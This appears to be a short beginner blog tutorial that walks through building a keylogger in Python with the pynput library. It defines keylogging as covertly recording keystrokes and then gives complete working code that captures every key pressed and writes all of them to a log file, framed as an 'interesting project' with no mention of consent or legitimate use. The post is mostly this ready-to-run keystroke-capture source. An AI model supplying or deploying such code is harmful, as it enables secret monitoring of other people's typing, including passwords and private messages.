Skip to content
Home » Blog » Keylogger Using Python

Keylogger Using Python1 min read

Keylogger Python

Well In this Post, We will Be Creating a Keylogger Using Python. And This is Going to Be Interseting Project And Any Beginner can Also Try This Project.

What is a Keylogger?

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program.

Summer Promo 2022 (en)

Modules Used In this Project:

pynput – This library allows you to control and monitor input devices. Currently, mouse and keyboard input and monitoring are supported.

pip install pynput

Python Code:

# keylogger using pynput module

import pynput
from pynput.keyboard import Key, Listener

keys = []


def on_press(key):
    keys.append(key)
    write_file(keys)

    try:
        print('alphanumeric key {0} pressed'.format(key.char))

    except AttributeError:
        print('special key {0} pressed'.format(key))


def write_file(keys):
    with open('log.txt', 'w') as f:
        for key in keys:
            # removing ''
            k = str(key).replace("'", "")
            f.write(k)


            # every keystroke for readability
            f.write(' ')

def on_release(key):
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False


with Listener(on_press=on_press,
              on_release=on_release) as listener:
    listener.join()

GitHub Repo

Summer Promo 2022 (en)

Read Also:

Web Server In Node.js

Realtime Chat Application Socket.io

Email Automation Using Python

Download Source Code

Summer Promo 2022 (en)
Tanmay Sinha